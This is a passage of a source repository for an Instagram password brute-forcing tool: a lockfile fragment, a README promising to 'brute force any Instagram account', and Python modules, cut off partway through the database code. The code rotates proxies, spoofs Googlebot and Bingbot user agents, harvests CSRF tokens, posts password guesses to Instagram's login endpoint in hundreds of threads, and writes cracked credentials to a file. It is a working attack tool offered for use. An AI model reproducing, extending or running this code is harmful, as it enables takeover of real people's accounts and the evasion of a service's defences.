423 | "sha256:be57f9c7b0b423c66c266a26ad143b2c5514997c05dd32ce7ca95c8b209c2288",
424 | "sha256:c1ea28f0ee6cbe4c0367c939b015d915aa9875f6e061ba1cf0796ca9a3010570",
425 | "sha256:c3db393b21b53d7e1d3f881b64c29d886cbfdd3df007e31de68b329edbab7d02",
426 | "sha256:c400dfed4137f32127ea4063447006d7153c974c680bf0fb1b724cce9f8567fc",
427 | "sha256:c5429202bef174a3760690d912e3a80060b323199a61cef6c6c29b30ce09fd17",
428 | "sha256:c5eac5d8a8ac9ccf00805d02a968a36f5c967db6c7d2b747ab9ed782b3b3a28b",
429 | "sha256:c757f3a27b6345de13ef3ca956aa805d7734ce68023e84d0fc74e1f09ce66f7a",
430 | "sha256:ceff75127f828dfe7ceb17b94113ec2df4df274c4cd5533bb299cb099a18a8ca",
431 | "sha256:cff5c87e941292c97d11dc81bd20679f56a2830f0f0e32f75b8ed6e0eb40f704",
432 | "sha256:d70596f20a03cb5f935d6e4aad9170a490d88fc4633679bf00c652e9def4619e",
433 | "sha256:e7b2ff451f6c305b516281ec45425dd423223c8063218c5310d6f72a0a7a517c",
434 | "sha256:e85b10280cf1e334a7c95629f6cbbfe30b815a4ea5f1e28d31f79eb92c2c3d93",
435 | "sha256:ecd2b5d983eb0adf2049d41f95205bdc3de4e6cc2350e9c80d4409d3a75229de",
436 | "sha256:ed657a07d8a47ef447224ea00478f1c7095065dfe70a89e7280e5f50a5725131",
437 | "sha256:f43522fb5d676c99282ca4e2d41e8e2388427c0cf703db6b4a66e49b10b699a8",
438 | "sha256:f57823f35b18d82b201c1b27ce4e55f88e79e81d9ca07b50ce625d33823e1439",
439 | "sha256:f7b43acb2c46fb2cd506965b2d9cf4c5e64c9c612bac26c1187933c7296bf08c",
440 | "sha256:fa7c7044aabdad2329974be2246babcc21d3ede852b3971a90fd8c2056c20360",
441 | "sha256:fcd7c432202bcb8b642c3f43d5bcafc5930d82fe5b2bf2c008162df258445c1d",
442 | "sha256:fdecb225d0f1d50d4b26ac423e0032e76d46a788b83b4e299a520717a47d968c",
443 | "sha256:ffef4b30785dc2d1604dfb7cf9fca5dc27cd86d65f7c2a9ec34d6d3ae4565ec2"
444 | ],
445 | "markers": "python_version >= '3.6'",
446 | "version": "==2022.6.2"
447 | },
448 | "tomli": {
449 | "hashes": [
450 | "sha256:05b6166bff487dc068d322585c7ea4ef78deed501cc124060e0f238e89a9231f",
451 | "sha256:e3069e4be3ead9668e21cb9b074cd948f7b3113fd9c8bba083f48247aab8b11c"
452 | ],
453 | "markers": "python_version >= '3.6'",
454 | "version": "==1.2.3"
455 | },
456 | "typing-extensions": {
457 | "hashes": [
458 | "sha256:25642c956049920a5aa49edcdd6ab1e06d7e5d467fc00e0506c44ac86fbfca02",
459 | "sha256:e6d2677a32f47fc7eb2795db1dd15c1f34eff616bcaf2cfb5e997f854fa1c4a6"
460 | ],
461 | "markers": "python_version >= '3.7'",
462 | "version": "==4.3.0"
463 | }
464 | }
465 | }
466 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Instagram Bruter
2 |
3 | []()
4 | []()
5 | [](https://discord.gg/VYRAZg5)
6 | [](https://www.paypal.me/Msheikh03)
7 |
8 | This program will brute force any Instagram account you send it its way given a list of proxies.
9 |
10 | ### NOTICE
11 |
12 | ~~I'm no longer maintaining this project.~~
13 |
14 | ### Support
15 |
16 | It motivates me to keep updating this program.
17 |
18 | > **Bitcoin Wallet:** 3Kr5C9t9HWwPfqzSNXeBNyRvJWw9sSLeKy
19 | > **PayPal:** https://www.paypal.me/Msheikh03
20 |
21 | ## Requirements
22 |
23 | - Python _v3.9_
24 | - proxy list
25 |
26 | ## Install Dependencies
27 |
28 | ### Install Pipenv
29 |
30 | ```
31 | pip install pipenv
32 | ```
33 |
34 | ### Create environment
35 |
36 | Make sure you have Python 3.9 installed
37 |
38 | ```
39 | pipenv --python 3.9
40 | ```
41 |
42 | ### Install Requirements
43 |
44 | ```
45 | pipenv install
46 | ```
47 |
48 | ## Help
49 |
50 | ```
51 | usage: instagram.py [-h] [-u USERNAME] [-p PASSLIST] [-px PROXYLIST] [--prune PRUNE] [--stats] [-nc] [-m MODE]
52 |
53 | optional arguments:
54 | -h, --help show this help message and exit
55 | -u USERNAME, --username USERNAME
56 | email or username
57 | -p PASSLIST, --passlist PASSLIST
58 | password list
59 | -px PROXYLIST, --proxylist PROXYLIST
60 | proxy list
61 | --prune PRUNE prune the database
62 | --stats get statistics of the proxies
63 | -nc, --no-color disable colors
64 | -m MODE, --mode MODE modes: 0 => 32 bots; 1 => 16 bots; 2 => 8 bots; 3 => 4 bots
65 | ```
66 |
67 | ## Proxies
68 |
69 | The system needs a list of proxies to work. Once uploaded, proxies are saved into a database.
70 |
71 | ### Upload
72 |
73 | Upload a list of proxies into the program. The proxy file must have a format of `ip:port`
74 |
75 | `proxies_list.txt`
76 |
77 | ```
78 | 3.238.111.248:80
79 | 206.189.59.192:8118
80 | 165.22.81.30:34100
81 | 176.248.120.70:3128
82 | 191.242.178.209:3128
83 | 180.92.194.235:80
84 | ```
85 |
86 | To upload a list of proxies a similar syntax must be followed.
87 |
88 | ```
89 | python instagram.py -px
90 | ```
91 |
92 | ### Stats
93 |
94 | This gives an insight into the health of the proxies in the database.
95 |
96 | ```
97 | python instagram.py --stats
98 | ```
99 |
100 | ### Prune
101 |
102 | This allows the able to get rid of proxies with a score below a given score.
103 | It is recommended that you run the `--stats` and prune the database of proxies
104 | who have a proxy score below `Q1`.
105 |
106 | ```
107 | python instagram.py --prune 0.05
108 | ```
109 |
110 | Pruning is not a requirement because the
111 | the system will automatically learn which proxies perform poorly and stop using them.
112 |
113 | ### Usage
114 |
115 | ```
116 | python instagram.py -u -p
117 | ```
118 |
119 | ### Run
120 |
121 | ```
122 | [-] Wordlist: passlist.txt
123 | [-] Username: Sami09.1
124 | [-] Password: 272
125 | [-] Complete: 45.51%
126 | [-] Attempts: 228
127 | [-] Browsers: 273
128 | [-] Exists: True
129 | ```
130 |
131 | ### Stop
132 |
133 | ```
134 | [-] Wordlist: passlist.txt
135 | [-] Username: Sami09.1
136 | [-] Password: Sami123
137 | [-] Complete: 62.67%
138 | [-] Attempts: 314
139 | [-] Browsers: 185
140 | [-] Exists: True
141 |
142 | [!] Password Found
143 | [+] Username: Sami09.1
144 | [+] Password: Sami123
145 | ```
146 |
--------------------------------------------------------------------------------
/instagram.py:
--------------------------------------------------------------------------------
1 | # Date: 12/29/2018
2 | # Author: Mohamed
3 | # Description: Instagram bruter
4 |
5 | # from lib.proxy import Proxy
6 | import os
7 | import time
8 | from sys import exit
9 | from lib import database
10 | from lib.proxy_manager import ProxyManager
11 |
12 | # from os.path import exists
13 | from lib.bruter import Bruter
14 | from lib.display import Display
15 | from platform import python_version
16 |
17 | from lib.const import credentials, modes
18 | from argparse import ArgumentParser, ArgumentTypeError
19 |
20 |
21 | class Engine(object):
22 | def __init__(self, username, threads, passlist_path, is_color):
23 | self.resume = False
24 | self.is_alive = True
25 | self.threads = threads
26 | self.username = username
27 | self.passlist_path = passlist_path
28 | self.display = Display(is_color=is_color)
29 | self.bruter = Bruter(username, threads, passlist_path)
30 |
31 | def get_user_resp(self):
32 | return self.display.prompt(
33 | "Would you like to resume the attack? [y/N]: "
34 | )
35 |
36 | def write_to_file(self, password):
37 | with open(credentials, "at") as f:
38 | data = "Username: {}\nPassword: {}\n\n".format(
39 | self.username.title(), password
40 | )
41 | f.write(data)
42 |
43 | def start(self):
44 |
45 | while self.is_alive and not self.bruter.password_manager.session:
46 | pass
47 |
48 | if not self.is_alive:
49 | return
50 |
51 | if self.bruter.password_manager.session.exists:
52 | try:
53 | resp = self.get_user_resp()
54 | except:
55 | self.is_alive = False
56 |
57 | if resp and self.is_alive:
58 | if resp.strip().lower() == "y":
59 | self.bruter.password_manager.resume = True
60 |
61 | try:
62 | self.bruter.start()
63 | except KeyboardInterrupt:
64 | self.bruter.stop()
65 | self.bruter.display.shutdown(
66 | self.bruter.last_password,
67 | self.bruter.password_manager.attempts,
68 | len(self.bruter.browsers),
69 | )
70 | finally:
71 | self.stop()
72 |
73 | def stop(self):
74 | if self.is_alive:
75 |
76 | self.bruter.stop()
77 | self.is_alive = False
78 |
79 | if (
80 | self.bruter.password_manager.is_read
81 | and not self.bruter.is_found
82 | and not self.bruter.password_manager.list_size
83 | ):
84 | self.bruter.display.stats_not_found(
85 | self.bruter.last_password,
86 | self.bruter.password_manager.attempts,
87 | len(self.bruter.browsers),
88 | )
89 |
90 | if self.bruter.is_found:
91 | self.write_to_file(self.bruter.password)
92 | self.bruter.display.stats_found(
93 | self.bruter.password,
94 | self.bruter.password_manager.attempts,
95 | len(self.bruter.browsers),
96 | )
97 |
98 |
99 | def valid_int(n):
100 | if not n.isdigit():
101 | raise ArgumentTypeError("mode must be a number")
102 |
103 | n = int(n)
104 |
105 | if n > 3:
106 | raise ArgumentTypeError("maximum for a mode is 3")
107 |
108 | if n < 0:
109 | raise ArgumentTypeError("minimum for a mode is 0")
110 |
111 | return n
112 |
113 |
114 | def valid_float(n):
115 |
116 | err_msg = "prune must be a value between 0 and 1"
117 |
118 | try:
119 | n = float(n)
120 | except ValueError:
121 | raise ArgumentTypeError(err_msg)
122 |
123 | if n < 0 or n > 1:
124 | raise ArgumentTypeError(err_msg)
125 |
126 | return n
127 |
128 |
129 | def args():
130 | args = ArgumentParser()
131 | args.add_argument("-u", "--username", help="email or username")
132 | args.add_argument("-p", "--passlist", help="password list")
133 | args.add_argument("-px", "--proxylist", help="proxy list")
134 | args.add_argument(
135 | "--prune",
136 | default=-1,
137 | type=valid_float,
138 | help="prune the database",
139 | )
140 | args.add_argument(
141 | "--stats", action="store_true", help="get statistics of the proxies"
142 | )
143 |
144 | args.add_argument(
145 | "-nc",
146 | "--no-color",
147 | dest="color",
148 | action="store_true",
149 | help="disable colors",
150 | )
151 | args.add_argument(
152 | "-m",
153 | "--mode",
154 | default=2,
155 | type=valid_int,
156 | help="modes: 0 => 32 bots; 1 => 16 bots; 2 => 8 bots; 3 => 4 bots",
157 | )
158 |
159 | # ----------- #
160 |
161 | arguments = args.parse_args()
162 | username = arguments.username
163 | passlist = arguments.passlist
164 | proxylist = arguments.proxylist
165 | prune = arguments.prune
166 | stats = arguments.stats
167 | prune_db = prune > 0
168 |
169 | if not (prune_db or stats or proxylist) and not (username and passlist):
170 | args.print_help()
171 | exit()
172 |
173 | return args.parse_args()
174 |
175 |
176 | def prune_database(prune: float) -> None:
177 | score = prune * 100
178 |
179 | if (
180 | input(
181 | "Are you sure you want to prune the database of proxies? [y/N]: "
182 | )
183 | == "y"
184 | ):
185 |
186 | print(
187 | f"\n<<< Pruning the database of all proxies with a score of {score}% or less >>>"
188 | )
189 | time.sleep(0.65)
190 |
191 | print(
192 | f"Pruned the database of {database.Proxy().prune(prune)} proxies"
193 | )
194 | time.sleep(0.65)
195 | else:
196 | print("Pruning cancelled")
197 |
198 |
199 | def display_database_stats():
200 | data = database.Proxy().stats()
201 |
202 | place = 5
203 |
204 | q1 = round(data["q1"], place)
205 | avg = round(data["avg"], place)
206 | min = round(data["min"], place)
207 | max = round(data["max"], place)
208 | total = data["total"]
209 | health = (
210 | "Dead"
211 | if avg == 0
212 | else "Very-ill"
213 | if avg <= 0.10
214 | else "Ill"
215 | if avg <= 0.30
216 | else "Somewhat-ill"
217 | if avg <= 0.50
218 | else "Normal"
219 | if avg <= 0.70
220 | else "Healthy"
221 | if avg <= 0.9
222 | else "Very-healthy"
223 | )
224 | print(f"\nTotal Proxies: {total}\nDatabase's Health: {health}")
225 | print(
226 | f"Q1: {q1} :: Avg Score: {avg} :: Min Score: {min} :: Max Score: {max}"
227 | )
228 | time.sleep(0.65)
229 |
230 |
231 | def main():
232 | arguments = args()
233 | mode = arguments.mode
234 | username = arguments.username
235 | passlist = arguments.passlist
236 | proxylist = arguments.proxylist
237 | prune = arguments.prune
238 | stats = arguments.stats
239 | prune_db = prune > 0
240 |
241 | if prune_db > 0 or stats:
242 | if prune_db > 0:
243 | prune_database(prune)
244 | if stats:
245 | display_database_stats()
246 | else:
247 | if proxylist:
248 | if not os.path.exists(proxylist):
249 | print("Invalid path to proxy list")
250 | exit()
251 |
252 | print(f"<<< Writing proxies to the database >>>")
253 | time.sleep(0.65)
254 |
255 | total_written = ProxyManager().write2db(proxylist)
256 |
257 | print(f"Proxies written to the database: {total_written}")
258 | time.sleep(0.65)
259 |
260 | total_proxies = len(database.Proxy().get_proxies())
261 |
262 | if username and passlist and total_proxies:
263 |
264 | if not os.path.exists(passlist):
265 | print("Invalid path to password list")
266 | exit()
267 |
268 | Engine(
269 | username, modes[mode], passlist, not arguments.color
270 | ).start()
271 |
272 | else:
273 | if not proxylist or total_proxies == 0:
274 | print("No proxies in the database and no proxy list provided")
275 |
276 |
277 | if __name__ == "__main__":
278 |
279 | if int(python_version()[0]) < 3:
280 | print("[!] Please use Python 3")
281 | exit()
282 |
283 | main()
284 |
--------------------------------------------------------------------------------
/lib/__init__.py:
--------------------------------------------------------------------------------
1 | # Date: 12/30/2018
2 | # Author: Mohamed
3 |
--------------------------------------------------------------------------------
/lib/browser.py:
--------------------------------------------------------------------------------
1 | # Date: 12/28/2018
2 | # Author: Mohamed
3 | # Description: Browser
4 |
5 | import typing
6 | from time import time
7 | from random import choice
8 |
9 | import requests
10 | from datetime import datetime
11 | from requests_html import HTMLSession
12 | from .const import browser_data, response_codes, fetch_time, user_agents, debug
13 |
14 |
15 | from lib import proxy
16 |
17 |
18 | class Browser(object):
19 |
20 | account_exists = None
21 |
22 | def __init__(self, username, password, proxy: proxy.Proxy):
23 | self.proxy = proxy
24 | self.is_found = False
25 | self.is_active = True
26 | self.is_locked = False
27 | self.start_time = None
28 | self.username = username
29 | self.password = password
30 | self.is_attempted = False
31 | self.__browser = None
32 |
33 | @property
34 | def browser(self):
35 | if self.__browser is None:
36 | header = browser_data["header"]
37 | header["user-agent"] = choice(user_agents)
38 |
39 | session = HTMLSession()
40 | session.headers.update(header)
41 |
42 | session.proxies.update(self.proxy.addr)
43 | session.trust_env = False
44 |
45 | self.__browser = session
46 | return self.__browser
47 |
48 | def get_token(self):
49 |
50 | try:
51 | return self.browser.get(
52 | browser_data["home_url"],
53 | timeout=fetch_time,
54 | ).cookies.get_dict()["csrftoken"]
55 | except Exception as e:
56 | pass
57 |
58 | def post_data(self):
59 | enc_password = "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(
60 | int(datetime.now().timestamp()), self.password
61 | )
62 |
63 | data = {
64 | browser_data["username_field"]: self.username,
65 | browser_data["password_field"]: enc_password,
66 | }
67 |
68 | try:
69 | resp = self.browser.post(
70 | browser_data["login_url"],
71 | data=data,
72 | timeout=fetch_time,
73 | ).json()
74 |
75 | self.proxy.incr_success()
76 | return resp
77 | except:
78 | pass
79 |
80 | def check_exists(self, response):
81 | if "user" in response:
82 | Browser.account_exists = response["user"]
83 |
84 | def check_response(self, response):
85 | if "authenticated" in response:
86 | if response["authenticated"]:
87 | return response_codes["succeed"]
88 |
89 | if "message" in response:
90 | if response.get("checkpoint_url", None):
91 | return response_codes["succeed"]
92 |
93 | if response["status"] == "fail":
94 | return response_codes["locked"]
95 |
96 | if "errors" in response:
97 | return response_codes["locked"]
98 |
99 | return response_codes["failed"]
100 |
101 | def get_ip(self) -> typing.Optional[str]:
102 | url = "https://api.ipify.org/"
103 |
104 | try:
105 | r = self.browser.get(url, timeout=fetch_time)
106 | return r.text
107 | except Exception as e:
108 | pass
109 |
110 | def authenicate(self):
111 | response = self.post_data()
112 | resp = {"attempted": False, "accessed": False, "locked": False}
113 |
114 | if debug:
115 | ip = self.get_ip()
116 | print(f"pass: {self.password}[{ip}] => {response}")
117 |
118 | if response != None:
119 | resp["attempted"] = True
120 | resp_code = self.check_response(response)
121 |
122 | if resp_code == response_codes["locked"]:
123 | resp["locked"] = True
124 |
125 | if resp_code == response_codes["succeed"]:
126 | resp["accessed"] = True
127 |
128 | if Browser.account_exists == None:
129 | self.check_exists(response)
130 |
131 | return resp
132 |
133 | def attempt(self):
134 | self.start_time = time()
135 | token = self.get_token()
136 |
137 | if token:
138 | self.browser.headers.update({"x-csrftoken": token})
139 | resp = self.authenicate()
140 |
141 | if resp["attempted"]:
142 | self.is_attempted = True
143 |
144 | if not resp["locked"]:
145 | if resp["accessed"]:
146 | self.is_found = True
147 | else:
148 | self.is_locked = True
149 | self.close()
150 |
151 | def close(self):
152 | self.browser.close()
153 | self.is_active = False
154 |
--------------------------------------------------------------------------------
/lib/bruter.py:
--------------------------------------------------------------------------------
1 | # Date: 12/28/2018
2 | # Author: Mohamed
3 | # Description: Bruter
4 |
5 | import queue
6 | import time
7 | import threading
8 | import typing
9 | from lib.browser import Browser
10 | from lib.display import Display
11 | from lib.proxy_manager import ProxyManager
12 | from lib.password_manager import PasswordManager
13 | from lib.const import max_time_to_wait, max_bots_per_proxy
14 |
15 |
16 | class Bruter(object):
17 | def __init__(self, username: str, threads: int, passlist_path: str):
18 |
19 | self.is_alive = True
20 | self.is_found = False
21 |
22 | self.password: str = None
23 | self.username: str = username
24 | self.last_password: str = None
25 |
26 | self.bots_per_proxy = 0
27 | self.total_threads: int = threads
28 |
29 | self.proxy_manager = ProxyManager()
30 | self.display = Display(username, passlist_path)
31 | self.password_manager = PasswordManager(
32 | username, passlist_path, threads, self.display
33 | )
34 |
35 | self.browsers: typing.List[Browser] = []
36 | self.active_passwords: typing.List[str] = []
37 | self.unstarted_browsers: typing.List[Browser] = []
38 |
39 | # Locks
40 | self.lock_browsers = threading.RLock()
41 | self.lock_unstarted_browsers = threading.RLock()
42 |
43 | self.lock_active_passwords = threading.RLock()
44 | self.lock_password_manager = threading.RLock()
45 |
46 | def manage_session(self):
47 | if self.password_manager.is_read:
48 | if not self.password_manager.list_size or self.is_found:
49 | self.password_manager.session.delete()
50 | else:
51 | if self.is_found:
52 | self.password_manager.session.delete()
53 | else:
54 | self.password_manager.session.write(
55 | self.password_manager.attempts,
56 | self.password_manager.passlist,
57 | )
58 |
59 | def browser_manager(self):
60 | while self.is_alive:
61 |
62 | browsers: typing.List[Browser] = []
63 |
64 | with self.lock_browsers:
65 | browsers = [br for br in self.browsers]
66 |
67 | for browser in browsers:
68 |
69 | if not self.is_alive:
70 | break
71 |
72 | if (
73 | Display.account_exists == None
74 | and Browser.account_exists != None
75 | ):
76 | Display.account_exists = Browser.account_exists
77 |
78 | if not browser.is_active:
79 | if browser.is_attempted and not browser.is_locked:
80 | if browser.is_found and not self.is_found:
81 | self.password = browser.password
82 | self.is_found = True
83 |
84 | with self.lock_password_manager:
85 | self.password_manager.list_remove(browser.password)
86 |
87 | self.remove_browser(browser)
88 |
89 | else:
90 | if browser.start_time:
91 | if (
92 | time.time() - browser.start_time
93 | >= max_time_to_wait
94 | ):
95 | browser.close()
96 | with self.lock_active_passwords:
97 | try:
98 | self.active_passwords.remove(
99 | browser.password
100 | )
101 | except ValueError:
102 | pass
103 |
104 | def prune_browsers(self, browser) -> None:
105 | """Remove all the browsers with the same password as the given browser"""
106 |
107 | with self.lock_browsers:
108 | for br in list(self.browsers):
109 | if br == browser:
110 | continue
111 |
112 | if br.password != browser.password:
113 | continue
114 |
115 | try:
116 | self.browsers.remove(br)
117 | except ValueError:
118 | pass
119 |
120 | br.close()
121 | br.proxy.decr_usage()
122 | self.proxy_manager.dispose(br.proxy)
123 |
124 | with self.lock_unstarted_browsers:
125 | for br in list(self.unstarted_browsers):
126 |
127 | if br.password == browser.password:
128 | try:
129 | self.unstarted_browsers.remove(br)
130 | except ValueError:
131 | pass
132 |
133 | def remove_browser(self, browser: Browser) -> None:
134 | self.proxy_manager.dispose(browser.proxy)
135 |
136 | with self.lock_browsers:
137 | try:
138 | self.browsers.remove(browser)
139 | except ValueError:
140 | pass
141 |
142 | with self.lock_active_passwords:
143 | try:
144 | self.active_passwords.remove(browser.password)
145 | except ValueError:
146 | pass
147 |
148 | if browser.is_attempted:
149 | self.prune_browsers(browser)
150 |
151 | def attack(self):
152 | attack_started = False
153 | proxy_per_pwd = 3
154 |
155 | while self.is_alive:
156 | for pwd in self.password_manager.passlist:
157 | if not self.is_alive:
158 | break
159 |
160 | with self.lock_unstarted_browsers:
161 | if len(self.unstarted_browsers) >= self.total_threads:
162 | break
163 |
164 | with self.lock_active_passwords:
165 | if pwd in self.active_passwords:
166 | continue
167 |
168 | is_added = False
169 |
170 | for _ in range(proxy_per_pwd):
171 |
172 | with self.lock_unstarted_browsers:
173 | if len(self.unstarted_browsers) >= self.total_threads:
174 | break
175 |
176 | proxy = self.proxy_manager.get_proxy()
177 |
178 | if not proxy:
179 | continue
180 |
181 | with self.lock_unstarted_browsers:
182 | self.unstarted_browsers.append(
183 | Browser(self.username, pwd, proxy)
184 | )
185 |
186 | is_added = True
187 |
188 | if not is_added:
189 | break
190 |
191 | with self.lock_active_passwords:
192 | self.active_passwords.append(pwd)
193 |
194 | if not attack_started:
195 | self.display.info("Starting attack...")
196 | attack_started = True
197 |
198 | with self.lock_unstarted_browsers:
199 | for br in list(self.unstarted_browsers):
200 | with self.lock_browsers:
201 | if len(self.browsers) >= self.total_threads:
202 | break
203 | else:
204 | self.browsers.append(br)
205 |
206 | self.unstarted_browsers.remove(br)
207 | threading.Thread(target=br.attempt, daemon=True).start()
208 |
209 | def start_daemon_threads(self):
210 | attack = threading.Thread(target=self.attack)
211 | browser_manager = threading.Thread(target=self.browser_manager)
212 | password_manager = threading.Thread(target=self.password_manager.start)
213 |
214 | attack.daemon = True
215 | browser_manager.daemon = True
216 | password_manager.daemon = True
217 |
218 | attack.start()
219 | browser_manager.start()
220 | password_manager.start()
221 |
222 | def stop_daemon_threads(self):
223 | self.password_manager.stop()
224 |
225 | def start(self):
226 | self.display.info("Initiating daemon threads...")
227 | self.start_daemon_threads()
228 |
229 | last_attempt = 0
230 | while self.is_alive and not self.is_found:
231 |
232 | if (
233 | last_attempt == self.password_manager.attempts
234 | and self.password_manager.attempts
235 | ):
236 | time.sleep(0.65)
237 | continue
238 |
239 | browsers = []
240 |
241 | with self.lock_browsers:
242 | browsers = [br for br in self.browsers]
243 |
244 | for browser in browsers:
245 |
246 | self.display.stats(
247 | browser.password,
248 | self.password_manager.attempts,
249 | len(self.browsers),
250 | )
251 | last_attempt = self.password_manager.attempts
252 | self.last_password = browser.password
253 |
254 | if not self.is_alive or self.is_found:
255 | break
256 |
257 | if (
258 | self.password_manager.is_read
259 | and not self.password_manager.list_size
260 | and not len(self.browsers)
261 | ):
262 | self.is_alive = False
263 |
264 | def stop(self):
265 | self.is_alive = False
266 | self.manage_session()
267 | self.stop_daemon_threads()
268 | self.password_manager.session.is_busy = False
269 |
--------------------------------------------------------------------------------
/lib/const.py:
--------------------------------------------------------------------------------
1 | # Date: 12/28/2018
2 | # Author: Mohamed
3 | # Description: Constants
4 |
5 | import os
6 |
7 | # User agents
8 | user_agents = [
9 | "Googlebot/2.1 (+http://www.google.com/bot.html)",
10 | "Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
11 | "Mozilla/5.0 (compatible; adidxbot/2.0; http://www.bing.com/bingbot.htm)",
12 | "Mozilla/5.0 (seoanalyzer; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
13 | "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) SitemapProbe",
14 | "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)",
15 | "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
16 | "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; adidxbot/2.0; http://www.bing.com/bingbot.htm)",
17 | "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)",
18 | ]
19 |
20 | # Browser
21 | header = {
22 | "x-ig-app-id": "936619743392459",
23 | "x-instagram-ajax": "2f6bf8b37c04",
24 | "x-requested-with": "XMLHttpRequest",
25 | "referer": "https://www.instagram.com/",
26 | "content-type": "application/x-www-form-urlencoded",
27 | }
28 |
29 | username_field = "username"
30 | password_field = "enc_password"
31 | home_url = "https://www.instagram.com/"
32 | login_url = "https://www.instagram.com/accounts/login/ajax/"
33 |
34 | browser_data = {
35 | "header": header,
36 | "home_url": home_url,
37 | "login_url": login_url,
38 | "username_field": username_field,
39 | "password_field": password_field,
40 | }
41 |
42 | # Login
43 | fetch_time = (10, 15)
44 | response_codes = {"succeed": 0, "failed": 1, "locked": -1}
45 |
46 | # Limits
47 | max_bad_proxies = 256
48 | max_time_to_wait = 18
49 | max_bots_per_proxy = 16
50 |
51 | # Misc
52 | debug = False
53 | credentials = "accounts.txt"
54 | modes = {0: 512, 1: 256, 2: 128, 3: 64}
55 |
56 | # Database
57 | db_dir = "database"
58 | db_database = "database.db"
59 | db_path = os.path.join(db_dir, db_database)
60 |
61 | if not os.path.exists(db_dir):
62 | os.mkdir(db_dir)
63 |
--------------------------------------------------------------------------------
/lib/database.py:
--------------------------------------------------------------------------------
1 | # Date: 05/05/2018
2 | # Author: Mohamed
3 | # Description: Session Handler
4 |
5 | import json
6 | import sqlite3
7 |
8 | # from os import remove
9 | # from sys import version_info
10 | from lib.const import db_path
11 | from os.path import exists as path
12 |
13 | # from csv import DictWriter, DictReader
14 | import hashlib
15 | import time
16 | import typing
17 |
18 |
19 | class DatabaseWrapper:
20 | def __init__(self, db_name):
21 | self.db_name = db_path
22 |
23 | def db_query(self, cmd, args=[], fetchone=True):
24 | database = sqlite3.connect(self.db_name, timeout=30)
25 | database.cursor().execute("PRAGMA FOREIGN_KEYS = ON;")
26 | sql = database.cursor().execute(cmd, args)
27 | data = sql.fetchone()[0] if fetchone else sql.fetchall()
28 | database.close()
29 | return data
30 |
31 | def db_execute(self, cmd, args=[]):
32 | database = sqlite3.connect(self.db_name, timeout=30)
33 | database.cursor().execute("PRAGMA FOREIGN_KEYS = ON;")
34 | database.cursor().execute(cmd, args)
35 | database.commit()
36 | database.close()
37 |
38 |
39 | class Session(DatabaseWrapper):
40 |
41 | is_busy = False
42 |
43 | def __init__(self, fingerprint):
44 | super().__init__(db_path)
45 | self.fingerprint = fingerprint
46 | self.create_tables()
47 |
48 | def create_tables(self):
49 | self.db_execute(
50 | """
51 | CREATE TABLE IF NOT EXISTS
52 | Session(
53 | session_id TEXT,
54 | attempts INTEGER,
55 | list TEXT,
56 |
57 | PRIMARY KEY(session_id)
58 | );
59 | """
60 | )
61 |
62 | @property
63 | def exists(self):
64 | return self.db_query(
65 | "SELECT COUNT(*) FROM Session WHERE session_id=?;",
66 | [self.fingerprint],
67 | )
68 |
69 | def read(self):
70 |
71 | if not self.exists:
72 | return 0, []
73 |
74 | attempts, list = self.db_query(
75 | """
76 | SELECT attempts, list
77 | FROM Session
78 | WHERE session_id=?
79 | """,
80 | args=[self.fingerprint],
81 | fetchone=False,
82 | )[0]
83 |
84 | return attempts, json.loads(list)
85 |
86 | def _write(self, attempts, _list):
87 |
88 | if not self.exists:
89 | self.db_execute(
90 | """
91 | INSERT INTO Session(session_id, attempts, list)
92 | VALUES(?, ?, ?);
93 | """,
94 | args=[self.fingerprint, attempts, json.dumps(_list)],
95 | )
96 | return
97 |
98 | self.db_execute(
99 | """
100 | UPDATE Session
101 | SET attempts=?, list=?
102 | WHERE session_id=?;
103 | """,
104 | args=[attempts, json.dumps(_list), self.fingerprint],
105 | )
106 |
107 | def write(self, attempts, _list):
108 | if not attempts:
109 | return
110 |
111 | while Session.is_busy:
112 | pass
113 |
114 | try:
115 | Session.is_busy = True
116 | self._write(attempts, _list)
117 | except:
118 | pass
119 | finally:
120 | Session.is_busy = False
121 |
122 | def delete(self):
123 | if self.exists:
124 | self.db_execute(
125 | """
126 | DELETE FROM Session
127 | WHERE session_id=?;
128 | """,
129 | args=[self.fingerprint],
130 | )
131 |
132 |
133 | class Proxy(DatabaseWrapper):
134 | def __init__(self):
135 | super().__init__(db_path)
136 | self.create_tables()
137 |
138 | def create_tables(self) -> None:
139 | self.db_execute(
140 | """
141 | CREATE TABLE IF NOT EXISTS
142 | Proxy(
143 | proxy_id TEXT,
144 | ip TEXT,
145 | port INTEGER,
146 | proxy_type TEXT,
147 | PRIMARY KEY(proxy_id)
148 | );
149 | """
150 | )
151 |
152 | self.db_execute(
153 | """
154 | CREATE TABLE IF NOT EXISTS
155 | ProxyStatus(
156 | proxy_status_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
157 | time_added FLOAT,
158 | last_used FLOAT,
159 | last_updated FLOAT,
160 | total_used INTEGER DEFAULT 1,
161 | total_passed INTEGER DEFAULT 0,
162 | proxy_id TEXT,
163 |
164 | FOREIGN KEY(proxy_id) REFERENCES Proxy(proxy_id) ON DELETE CASCADE
165 | );
166 | """
167 | )
168 |
169 | def __get_signature(self, *, ip: str, port: int) -> str:
170 | return hashlib.sha256(f"{ip}::{port}".encode()).hexdigest()
171 |
172 | def __exists(self, proxy_id: str) -> bool:
173 | """Returns True if a proxy by the given proxy id exists"""
174 |
175 | return (
176 | self.db_query(
